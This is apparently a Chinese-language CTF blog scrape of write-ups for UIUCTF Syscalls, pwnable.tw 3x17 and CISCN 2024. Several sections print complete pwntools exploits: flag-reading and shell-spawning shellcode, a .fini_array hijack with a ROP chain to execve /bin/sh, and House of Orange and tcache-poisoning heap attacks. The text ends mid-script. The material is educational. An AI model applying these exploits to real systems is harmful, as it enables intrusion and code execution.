47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3

from pwn import *

exe = ELF("./syscalls_patched")

context.binary = exe


def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)

return r


def main():
r = conn()

# openat(AT_FDCWD, "./flag.txt", 0)
# preadv2(3, {"rsp", 0x50}, 1, 0, 0)
# pwritev2(1, {"rsp", 0x50}, 1, -1, 0)

shellcode = asm(
"""
mov rax, 257
mov rdi, -100
mov rsi, 0x7478
push rsi
mov rsi, 0x742e67616c662f2e
push rsi
mov rsi, rsp
xor rdx, rdx
syscall
mov rdi, rax
mov rax, 327
mov r12, rsp
add r12, 0x50
mov r11, 0x50
push r11
push r12
mov rsi, rsp
mov rdx, 1
mov r10, -1
mov r8, 0
syscall
mov rax, 328
mov rdi, 1
syscall
"""
)
# gdb.attach(r, '''
# b *$rebase(0x12d6)'''
# )
print(shellcode)
r.sendline(shellcode)

r.interactive()


if __name__ == "__main__":
main()

我知道可以用shellcraft来构造 shellcode,但我就爱自己写 XD。

Syscalls 2

概况

I made it harder ;)
Hint: It’s not a bug, it’s a feature!

8 Solves

exp 修改自 robbert1978。

题目分析

这道题对内核做了patch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
From 1470120abb93fb80ee0ac52feab611418ec957d7 Mon Sep 17 00:00:00 2001
From: YiFei Zhu <zhuyifei@google.com>
Date: Wed, 26 Jun 2024 19:39:11 -0700
Subject: [PATCH] prctl: Add a way to prohibit file descriptor creation

They are avoided by enforcing a failure when the kernel tries to
allocate a free fd. To be extra extra safe, attempting to install
an fd after the point of no return will panic.

Child processes inherit the restriction just like seccomp.

Signed-off-by: YiFei Zhu <zhuyifei@google.com>
---
fs/file.c | 7 +++++++
include/linux/sched.h | 5 +++++
include/uapi/linux/prctl.h | 2 ++
kernel/fork.c | 3 +++
kernel/sys.c | 3 +++
5 files changed, 20 insertions(+)

diff --git a/fs/file.c b/fs/file.c
index 3b683b9101d8..d9562f8bca85 100644
--- a/fs/file.c
+++ b/fs/file.c
@@ -503,6 +503,9 @@ static int alloc_fd(unsigned start, unsigned end, unsigned flags)
int error;
struct fdtable *fdt;

+if (task_uiuctf_no_fds_allowed(current))
+return -EPERM;
+
spin_lock(&files->file_lock);
repeat:
fdt = files_fdtable(files);
@@ -604,6 +607,10 @@ void fd_install(unsigned int fd, struct file *file)
struct files_struct *files = current->files;
struct fdtable *fdt;

+if (task_uiuctf_no_fds_allowed(current))
+panic("Installing fds is actually not allowed and "
+ "I'm not trying to hide a bypass");
+
if (WARN_ON_ONCE(unlikely(file->f_mode & FMODE_BACKING)))
return;

diff --git a/include/linux/sched.h b/include/linux/sched.h
index 3c2abbc587b4..f4584022dc4c 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -1698,6 +1698,8 @@ static __always_inline bool is_percpu_thread(void)
#define PFA_SPEC_IB_FORCE_DISABLE6/* Indirect branch speculation permanently restricted */
#define PFA_SPEC_SSB_NOEXEC7/* Speculative Store Bypass clear on execve() */

+#define PFA_UIUCTF_NO_FDS_ALLOWED10
+
#define TASK_PFA_TEST(name, func)\
static inline bool task_##func(struct task_struct *p)\
{ return test_bit(PFA_##name, &p->atomic_flags); }
@@ -1739,6 +1741,9 @@ TASK_PFA_CLEAR(SPEC_IB_DISABLE, spec_ib_disable)
TASK_PFA_TEST(SPEC_IB_FORCE_DISABLE, spec_ib_force_disable)
TASK_PFA_SET(SPEC_IB_FORCE_DISABLE, spec_ib_force_disable)

+TASK_PFA_TEST(UIUCTF_NO_FDS_ALLOWED, uiuctf_no_fds_allowed)
+TASK_PFA_SET(UIUCTF_NO_FDS_ALLOWED, uiuctf_no_fds_allowed)
+
static inline void
current_restore_flags(unsigned long orig_flags, unsigned long flags)
{
diff --git a/include/uapi/linux/prctl.h b/include/uapi/linux/prctl.h
index 370ed14b1ae0..6075c202ca43 100644
--- a/include/uapi/linux/prctl.h
+++ b/include/uapi/linux/prctl.h
@@ -306,4 +306,6 @@ struct prctl_mm_map {
# define PR_RISCV_V_VSTATE_CTRL_NEXT_MASK0xc
# define PR_RISCV_V_VSTATE_CTRL_MASK0x1f

+#define PRCTL_UIUCTF_NO_FDS_ALLOWED 100
+
#endif /* _LINUX_PRCTL_H */
diff --git a/kernel/fork.c b/kernel/fork.c
index aebb3e6c96dc..692c01b13c9a 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -2559,6 +2559,9 @@ __latent_entropy struct task_struct *copy_process(
*/
copy_seccomp(p);

+if (task_uiuctf_no_fds_allowed(current))
+task_set_uiuctf_no_fds_allowed(p);
+
init_task_pid_links(p);
if (likely(p->pid)) {
ptrace_init_task(p, (clone_flags & CLONE_PTRACE) || trace);
diff --git a/kernel/sys.c b/kernel/sys.c
index 8bb106a56b3a..5bb16543a565 100644
--- a/kernel/sys.c
+++ b/kernel/sys.c
@@ -2760,6 +2760,9 @@ SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
case PR_RISCV_V_GET_CONTROL:
error = RISCV_V_GET_CONTROL();
break;
+case PRCTL_UIUCTF_NO_FDS_ALLOWED:
+task_set_uiuctf_no_fds_allowed(current);
+break;
default:
error = -EINVAL;
break;
--
2.45.1

题目自定义了一个系统调用,程序调用prctl(PRCTL_UIUCTF_NO_FDS_ALLOWED)后,会阻止alloc_fd()fd_install()正常运行,并且在对copy_process()的修改中使得fork的子程序会继承这一属性。因此预期解是使用io_uring来读 flag:

  1. io_uring本身不需要一个新的 fd
  2. io_uring管理了自己的 fd 表,不会触发alloc_fdfd_install

攻击思路

但是我更喜欢非预期解:

首先需要理解request_key系统调用。参考manpage,用法如下:

1
2
3
key_serial_t request_key(const char *type, const char *description,
const char *_Nullable callout_info,
key_serial_t dest_keyring);

If the kernel cannot find a key matching type and description, and callout is not NULL, then the kernel attempts to invoke a user-space program to instantiate a key with the given type and description. In this case, the following steps are performed:

(3) The kernel creates a process that executes a user-space service such as request-key(8) with a new session keyring that contains a link to the authorization key, V. This program is supplied with the following command-line arguments:

​[0] The string “/sbin/request-key”.

也就是说,当我们指定的typedescription能让内核无法找到对应的key,它就会运行/sbin/request-key

非预期解的思路是:

  1. /sbin/request_key设为/init的符号链接
  2. /chal设置为/bin/bash的符号链接
  3. 使用系统调用request_key,并传入内核无法识别的typedescription
  4. request_key将调用/sbin/rquest-key->/init,新的/init不会有no_fds的过滤
  5. /init执行exec /chal->/bin/bash,弹出 shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3

from pwn import *

context.arch = "amd64"
shellcode = asm("""

lea rdi, [rip + offset init]
lea rsi, [rip + offset request_key]
mov eax, 0x58
syscall


lea rdi, [rip + offset chal]
mov eax, 0x57
syscall

lea rdi, [rip + offset bash]
lea rsi, [rip + offset chal]
mov eax, 0x58
syscall

lea rdi, [rip + offset a]
lea rsi, [rip + offset b]
lea rdx, [rip + offset c]
mov r10, 0xfffffffd
mov rax, 0xf9

syscall
ret
a:
.asciz "user"
b:
.asciz "BeaCox:nonsense"
c:
.asciz "payload:data"
init:
.asciz "/init"
chal:
.asciz "/chal"
request_key:
.asciz "/sbin/request-key"
bash:
.asciz "/bin/bash"

""")

print(shellcode.hex())
  • ✇BeaCox
  • 从 pwnable.tw——3x17 学习 .fini_arrayBeaCox
    尽管 pwnable.tw已经很久没更新新题,这上面的题目放到现在对我而言也仍然是很有趣的。在解 3x17 这道题的时候,用到了之前从没用过的 fini_array hijack,因此记录一下。预分析checksec 结果:12345Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)file 结果:13x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, strippedPIE 未启用:不用泄露程序基地址canary 未启用:如果有栈溢出可以直接利用静态链接:没有 libc程序功能分析123456789if ( byte_4B9330 ==
     

从 pwnable.tw——3x17 学习 .fini_array

作者 BeaCox
2024年6月19日 22:00

尽管 pwnable.tw已经很久没更新新题,这上面的题目放到现在对我而言也仍然是很有趣的。在解 3x17 这道题的时候,用到了之前从没用过的 fini_array hijack,因此记录一下。

预分析

checksec 结果:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

file 结果:

1
3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped
  • PIE 未启用:不用泄露程序基地址
  • canary 未启用:如果有栈溢出可以直接利用
  • 静态链接:没有 libc

程序功能分析

1
2
3
4
5
6
7
8
9
if ( byte_4B9330 == 1 )
{
write_func(1u, "addr:", 5uLL);
read_func(0, buf, 0x18uLL);
v4 = (char *)(int)bytes_to_addr(buf);
write_func(1u, "data:", 5uLL);
read_func(0, v4, 0x18uLL);
result = 0;
}

程序很直接地提供了一次任意地址写的机会,又称 Write What Where (WWW) 。不过我们没有栈空间地址泄露,因此暂时无法直接利用栈来直接控制代码流。

GOT 表劫持?没有 system 函数。但是 Partial RELRO 可不仅仅意味着可以利用 GOT 表劫持,也意味着可以使用 fini_array 劫持

.fini_array

.fini_array 是什么?简单来说,它是一个函数指针数组,一旦程序退出就会运行其中的函数,不过是按倒序方式,例如先运行 .fini_array[1] 再运行 .fini_array[0] 。只要我们能覆写该数组中的函数指针,我们就能劫持代码流。

无限循环

很多时候题目(例如这题)中的漏洞指利用一次是不够我们 capture the flag 的,因此我们需要达到漏洞的重复利用。以这题为例,我们可以构造:.fini_array[0] == __libc_csu_fini &&.fini_array[1] == main

  1. 当程序退出时,先执行 main 函数,任意写包含于其中(尽管会检查0x4B9330地址处是否为1,但其类型为 byte/uint8,因此1+16 == 1,我们不必担心)。
  2. 然后执行 __libc_csu_fini 函数。该函数的作用就是调用所有 .fini_array 中的函数,于是回到步骤1。因此形成了无限循环。

如何定位.fini_array__libc_csu_fini 的地址?

1
readelf -S ./3x17 | grep .fini_array

-S 可以显示各个段的 header 。

start 函数中找到:

1
2
3
4
5
6
7
8
9
sub_401EB0(
(unsigned int)main,
v4,
(unsigned int)&retaddr,
(unsigned int)sub_4028D0,
(unsigned int)sub_402960,
a3,
(__int64)&v5);
__halt();
# in the `start`, there is a `_libc_start_main`# the `_libc_start_main`'s 4th and 5th arg is `_libc_csu_init`, `_libc_csu_fini`

根据经验sub_401EB0__libc_start_main,而__libc_start_main 的第 4 和第 5 个参数分别是 __libc_csu_init__libc_csu_fini

ROP

我们现在拥有了无限次任意地址写的机会,也知道如何利用 .fini_array 来劫持代码流,接下来做什么?

首先,静态链接的 ELF 最不缺的就是 gadgets。我们很容易找到 pop 各种寄存器以及 syscall 的 gadgets。很容易构造 ROP chain 。那么离 get shell 就只差——栈。

我们需要将 ROP chain 放到栈上去。__libc_csu_fini 函数为我们创造了条件:

1
2
3
4
5
push    rbp
lea rax, unk_4B4100
lea rbp, off_4B40F0
push rbx
...

以上是 __libc_csu_fini 函数的开头,其中lea rbp, off_4B40F0中的0x4B40F0就是 .fini_array 的起始地址。换言之,在运行完 __libc_csu_fini 函数后,rbp 的值为 .fini_array 的起始地址。接下来只要利用 leave ; ret 就可以让返回地址为 fini_array + 0x8。因为 leave == mov rsp, rbp ; pop rbp

  1. mov rsp, rbp : rsp = rbp = .fini_array
  2. pop rbp : rbp = .fini_array[0], rsp = .fini_array + 0x8
  3. ret : rip = rsp = .fini_array + 0x8

因此只要令.fini_array[0] 处为leave ; ret gadget 的地址,且从.fini_array + 0x8 开始为 ROP chain 即可 get shell 。

exploit

由于只是一道 150 分的题,根据 pwnable.tw 的规则可以公开代码用于参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3

from pwn import *

exe = ELF("./3x17")

context.binary = exe

def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("chall.pwnable.tw", 10105)

return r

def www(r,addr,data):
r.sendafter(b"addr:",str(addr).encode())
r.sendafter(b"data:",data)


def main():
args.LOCAL = False
r = conn()
# `readelf -S ./3x17` to find the addr of .fini_array
# in the `start`, there is a `__libc_start_main`
# the `__libc_start_main`'s 4th and 5th arg is `__libc_csu_init`, `__libc_csu_fini`

fini_array = 0x4b40f0
libc_csu_fini = 0x402960
main = 0x401b6d
leave_ret_addr = 0x401c4b
pop_rdi = 0x401696
pop_rsi = 0x406c30
pop_rdx = 0x446e35
pop_rax = 0x41e4af
syscall = 0x4022b4

# stage1: eternal loop
www(r,fini_array,flat(libc_csu_fini,main))

# stage2: rop chain
www(r, fini_array + 0x10, flat(fini_array+0x50, pop_rsi, 0))
www(r, fini_array + 0x28, flat(pop_rdx, 0, pop_rax))
www(r, fini_array + 0x40, flat(0x3b, syscall) + b'/bin/sh\x00')
www(r, fini_array, flat(leave_ret_addr, pop_rdi))

r.interactive()

if __name__ == "__main__":
main()
  • ✇BeaCox
  • 第十七届全国大学生信息安全竞赛创新实践能力赛初赛 WriteupBeaCox
    梦开始的比赛。去年纯小白直接参赛,结果自然是被血虐。之后开始慢慢学,今年总算是做出些题。不过难一些的 PWN 题还是做不出……( ),就多练。Misc火锅链观光打卡签到题。浏览器安装一个 MetaMask 钱包用于区块链操作。连接钱包后答题,收集任意7个不同食材图片后,点击兑换 NFT ,得到含 flag 的图片:得到 flag :1flag{y0u_ar3_hotpot_K1ng}Power_Trajectory_Diagram这是一道基于功耗分析的侧信道攻击题,搜索相关关键词,在看雪上找到一篇文章。根据文章内容可知,输入密码逐位比对,输入正确时和错误时功耗曲线有明显不同。将得到的 npz 加载后打印数据,发现一共有13*40组数据,40对应着40个字符,猜测13为密码位数。打印所有功耗曲线,可以发现:每40组曲线中,会有一组曲线的最大波动处横坐标明显右移,例如上图第37组曲线最大波动处相比于第36组以及其他1-40组的最大波动处都有一定程度右移。推测是密码错误时会出现最大波动,而第37组最大波动右移代表着当前输入的密码字符是正确的,错误发生在下一位。使用这种方法可以找到每40组曲线
     

第十七届全国大学生信息安全竞赛创新实践能力赛初赛 Writeup

作者 BeaCox
2024年5月20日 12:00

梦开始的比赛。去年纯小白直接参赛,结果自然是被血虐。之后开始慢慢学,今年总算是做出些题。不过难一些的 PWN 题还是做不出……( ),就多练。

Misc

火锅链观光打卡

签到题。

浏览器安装一个 MetaMask 钱包用于区块链操作。连接钱包后答题,收集任意7个不同食材图片后,点击兑换 NFT ,得到含 flag 的图片:
hotpot
得到 flag :

1
flag{y0u_ar3_hotpot_K1ng}

Power_Trajectory_Diagram

这是一道基于功耗分析的侧信道攻击题,搜索相关关键词,在看雪上找到一篇文章。根据文章内容可知,输入密码逐位比对,输入正确时和错误时功耗曲线有明显不同。

将得到的 npz 加载后打印数据,发现一共有13*40组数据,40对应着40个字符,猜测13为密码位数。打印所有功耗曲线,可以发现:
trace36
trace37
每40组曲线中,会有一组曲线的最大波动处横坐标明显右移,例如上图第37组曲线最大波动处相比于第36组以及其他1-40组的最大波动处都有一定程度右移。推测是密码错误时会出现最大波动,而第37组最大波动右移代表着当前输入的密码字符是正确的,错误发生在下一位。
使用这种方法可以找到每40组曲线中最特殊的一组,并映射为相应的字符。(除了第481组到第520组,因此认为密码只有12位)
特殊曲线到字符的映射脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
data = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'_', '!', '@', '#']

list = [
37,
43,
89,
139,
163,
214,
277,
309,
347,
389,
431,
477
]

password = ''
for i in range(12):
tmp = list[i] - i*40 -1
print(tmp)
password += data[tmp]

print(password)

得到结果_ciscn_2024_,因此 flag 为:

1
flag{_ciscn_2024_}

Crypto

古典密码

题目给了一个字符串AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9,没有说明经过何种处理。
放到 CyberChef 选择 Encrption / Encoding 逐个尝试,用 Atbash Cipher 解密后 Base64 解码,得到:

1
fa{2b838a-97ad-e9f743lgbb07-ce47-6e02804c}

根据题目的提示想到栅栏密码,将字符串对半分,然后Z形拼接就能得到 flag:

1
flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

Reverse

gdb_debug

IDA反编译,注意到程序中设置随机数种子的代码:

1
2
v3 = time(0LL);
srand(v3 & 0xF0000000);

实际上随机数种子恒为0x60000000,因此该程序中的随机数都可以确定,可以使用 ctypes 来调用 libc 库设置相应的随机数种子,获取每一次调用 rand() 返回的随机数。剩下的就是根据反编译的程序使用 z3 进行约束求解,exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
from z3 import *
from ctypes import *

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0x60000000)

# Initialization
flag_len = 38
solver = Solver()

# Create a list of BitVec variables to represent the flag
flag_chars = [BitVec(f'flag_{i}', 8) for i in range(flag_len)]

# Add constraints
solver.add(flag_chars[0] == ord('f'))
solver.add(flag_chars[1] == ord('l'))
solver.add(flag_chars[2] == ord('a'))
solver.add(flag_chars[3] == ord('g'))
solver.add(flag_chars[4] == ord('{'))
solver.add(flag_chars[flag_len-1] == ord('}'))

# Step 1: XOR with rand
v28 = [BitVec(f'v28_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
random_val = libc.rand() & 0xff
solver.add(v28[i] == flag_chars[i] ^ random_val)

# Step 2: Shuffle array s
ptr = [i for i in range(flag_len)]
k = flag_len - 1
while k >= 0:
v18 = (libc.rand() % (k + 1)) & 0xff
v19 = ptr[k]
ptr[k] = ptr[v18]
ptr[v18] = v19
k -= 1

val1 = [
0xd8, 0xe0, 0x19, 0xe8, 0xcd, 0x9f, 0x6d, 0x65,
0xb8, 0x11, 0x81, 0xc8, 0x6e, 0xd0, 0xdb, 0xf8,
0x6b, 0xf9, 0x7d, 0xd2, 0xd6, 0xd5, 0x0f, 0x89,
0x1e, 0x34, 0x6a, 0xc5, 0xfd, 0xc1, 0xe9, 0x26,
0xd0, 0xba, 0xfa, 0x99, 0xe7, 0x06
]

val2 = [0x6, 0x4a, 0x5b, 0x14, 0xc4, 0x77, 0xdf, 0x63, 0xb5, 0x82, 0xe0, 0x3c, 0x4a, 0x99, 0xce, 0xf9, 0xbc, 0x52, 0x79, 0xca, 0x19, 0x3c, 0xda, 0x1f, 0x2d, 0xfe, 0x93, 0xef, 0xa3, 0x2b, 0xc4, 0x1a, 0x44, 0xd5, 0xc2, 0x4, 0xbf, 0xec]

random_vals = [0] * flag_len
for i in range(flag_len):
random_vals[i] = val1[i] ^ val2[i]

# *((_BYTE *)v31 + m) = *((_BYTE *)v28 + *((unsigned __int8 *)ptr + m));
v31 = [BitVec(f'v31_{i}', 8) for i in range(flag_len)]
for m in range(flag_len):
solver.add(v31[m] == (v28[ptr[m]] ) ^ (random_vals[m]) & 0xff)

# s1[ii] = *((_BYTE *)v31 + ii) ^ v32[ii];
v32 = [0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78]
s1 = [BitVec(f's1_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
solver.add(s1[i] == v31[i] ^ v32[i])

s2 = "congratulationstoyoucongratulationstoy"
for i in range(flag_len):
solver.add(s1[i] == ord(s2[i]))

if solver.check() == sat:
model = solver.model()
flag = ''.join([chr(model[flag_chars[i]].as_long()) for i in range(flag_len)])
print(f'flag: {flag}')
else:
print('unsat')

其中第三次获取38个随机数时,我使用 ctypes 得到的随机数与实际的随机数不符,因此直接在 gdb 中打印 v31 这个数组在与随机数异或前后的值,得到第三轮的38个随机数。不清楚是什么导致了这种差异,但或许这就是题目提示“动静结合”的原因?
最后得到flag:

1
flag{78bace5989660ee38f1fd980a4b4fbcd}

Pwn

gostack

一道简单的栈溢出+ROP题目,一开始被 golang 唬住了,逆向了一会儿没找到缓冲区的大小,然后直接在 gdb 中看就清楚多了。
首先checksec:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

有栈溢出 + 没有canary + 没有PIE + gadgets = 简单 ROP
找到要用的gadgets,构造 ROP chain ;在 gdb 中计算出缓冲区开头与返回地址的距离为0x1d0字节,加上填充就得到 payload。exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.binary = binary = ELF('./gostack')
# context.log_level = 'critical'

syscall = 0x0000000000404043
pop_rax = 0x000000000040f984
pop_rsi = 0x000000000042138a
pop_rdx = 0x00000000004944ec
pop_rdi_r14_r13_r12_rbp_rbx = 0x00000000004a18a5
read_func = 0x46178d
bss = binary.bss()

# p = binary.process()
p = remote('8.147.129.254', 29507)
# read(0, bss, 0x100)
rop_chain = flat(pop_rdi_r14_r13_r12_rbp_rbx, 0, 0, 0, 0, 0, 0, pop_rsi, bss, pop_rdx, 8, read_func)
# execve(bss, 0, 0)
rop_chain += flat(pop_rdi_r14_r13_r12_rbp_rbx, bss, 0, 0, 0, 0, 0, pop_rsi, 0, pop_rdx, 0, pop_rax, 59, syscall)
payload = b'\x00' * 0x1d0 + rop_chain
payload = payload.ljust(0x1000, b'\x00')
p.recvuntil(b'message :')
# gdb.attach(p, '''b *0x4a0a9e''')
p.sendline(payload)
p.recvuntil(b'message :')
p.sendline(b'/bin/sh\x00')
p.interactive()

syscall 但是没有 syscall ; ret ,因此我们的 ROP chain 最多只能有一次 raw syscall ,因此 read 选择使用函数地址而不是 raw syscall。get shell 之后得到 flag :

1
flag{08c559f9-81f7-4c74-a983-9eb59502de34}

orange_cat_diary

首先用 IDA 反编译程序,在程序中发现以下漏洞:

  1. heap overflow(8字节的溢出)
  2. UAF(只能使用一次,因为只能 delete 一次)
    • write after free
    • read after free

再根据题目名称的提示可以知道,可以使用 House of Orange 进行攻击(利用 heap overflow 和 read after free),泄露出 libc 地址和堆地址。由于 libc 的版本为2.23,因此最简便的方法就是劫持 __malloc_hook 。使用 pwndbg 的 find_fake_fast 命令找到用于覆盖 __malloc_hook 内容的 fast bin 地址,然后利用 write after free 劫持 fast bin ,使其返回该 chunk ,然后将__realloc_hook写为one_gadget,将__malloc_hook写为realloc,这样做更容易满足one_gadget条件。
利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

# all protections are enabled
# heap overflow
# we can only use show and delete once

context.binary = binary = ELF('./orange_cat_diary')
libc = binary.libc
# context.log_level = 'critical'

libc_offset = 0x3c5158
malloc_hook_offset = 0x3c4b10
one_gadget_offset = 0xf1247

# p = binary.process()
p = remote('8.147.129.254', 25553)
p.recvuntil(b'Please tell me your name.\n')
p.sendline(b'BeaCox')

def menu():
p.recvuntil(b'###orange_cat_diary###')
p.recvuntil(b'Please input your choice:')

def add(size, content):
menu()
p.sendline(b'1')
p.recvuntil(b'Please input the length of the diary content:')
p.sendline(str(size).encode())
p.recvuntil(b'Please enter the diary content:\n')
p.send(content)

def show():
menu()
p.sendline(b'2')

def delete():
menu()
p.sendline(b'3')

def edit(size, content):
menu()
p.sendline(b'4')
p.recvuntil(b'Please input the length of the diary content:')
p.sendline(str(size).encode())
p.recvuntil(b'Please enter the diary content:\n')
p.send(content)

# House of Orange
add(0x400-8, b'A'*(0x400-16) + p64(0x0))
payload = b'A'*(0x400-16) + p64(0x0) + p64(0xc01)
edit(0x400, payload)
add(0x1000, b'\n')
add(0x68, b'\n')
show()
p.recv(8)
libc_leak = u64(p.recv(8))
info(f'libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
info(f'libc_base: {hex(libc.address)}')
malloc_hook_addr = libc.symbols['__malloc_hook']
info(f'malloc_hook_addr: {hex(malloc_hook_addr)}')
fake_bin_addr = malloc_hook_addr - 0x23
heap_leak = u64(p.recv(8))
info(f'heap_leak: {hex(heap_leak)}')
one_gadget = libc.address + one_gadget_offset
info(f'one_gadget: {hex(one_gadget)}')
realloc = libc.sym['realloc']
info(f'realloc: {hex(realloc)}')

# overwrite __malloc_hook and __realloc_hook
delete()
edit(0x68, p64(fake_bin_addr) + p64(fake_bin_addr) + b'\n')
add(0x68, cyclic(0x68))
payload = b'a'*0xb + p64(one_gadget) + p64(realloc)
add(0x68, payload + b'\n')
# gdb.attach(p, '')
p.send(b'1')

p.interactive()

get shell 并得到 flag :

1
flag{2a6de11d-8a93-484d-9444-7d1046c55134}

EzHeap

我刚开始放 payload 的堆选了0x80大小,根本放不下 ROP chain ,直接导致比赛结束时没来得及将这题做完,赛后十来分钟改了个大小就打通了。

又一道堆题,但是使用 seccomp 限制了系统调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ seccomp-tools dump ./EzHeap
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0010
0009: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL

因此很容易想到先用 mprotect 更改页面权限,然后 orw 直接读 flag。但是我最后没有使用 mprotect ,直接在栈上构造 ROP chain 来进行 orw 。

分析程序,发现漏洞:

  1. 极大 heap overflow
  2. 输入无 0 截断可导致相邻内存泄漏

而且最多允许我们 malloc 80个堆块,因此应该有不少利用方法。我主要利用 tcache poisoning 。攻击思路如下:

  • 首先利用堆溢出和相邻内存泄露,通过程序内已经有的 unsorted bins 等堆块,泄露 libc 和 heap 地址

  • 计算 libc 中 __environ 的地址,利用 tcache poisoning 获得该地址处的堆块进行读,泄露 stack 地址

    libc 版本为2.35,因此要手动 safe link

  • 在某个堆块中写入 flag\x00 用于 orw ,搜集 gadgets 构造 ROP chain 。值得注意的是不能直接调用库函数 orw ,因为库函数的open 往往使用 openat 系统调用,会被禁止。因此我直接选择全部使用 syscall ; ret gadget ,这也是导致我 payload 巨大的原因。

  • malloc_heap 操作对应函数的 ret 处下断点,计算此时 stack 地址与泄露 stack 地址的偏移,然后再利用 tcache poisoning 获得目标地址附近(target_stack-0x8,因为要16字节对齐且不能破坏canary)的堆块进行写。payload 为 8 字节的 rbp 填充加上 ROP chain 。malloc_heap 返回时会被劫持到该 ROP chain 。

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from pwn import *

context.binary = binary = ELF('./EzHeap')
libc = binary.libc
# context.log_level = 'critical'

libc_offset = 0x21ace0
heap_offset = 0x1040
tcache_50_offset = 0x4d0
tcache_110_offset = 0x2420
heap_flag_offset = 0x2420
stack_offset = 0x170

# p = binary.process()
p = remote('8.147.133.76', 13951)

def menu():
p.recvuntil(b'choice >> ')

def malloc_heap(size, content):
menu()
p.sendline(b'1')
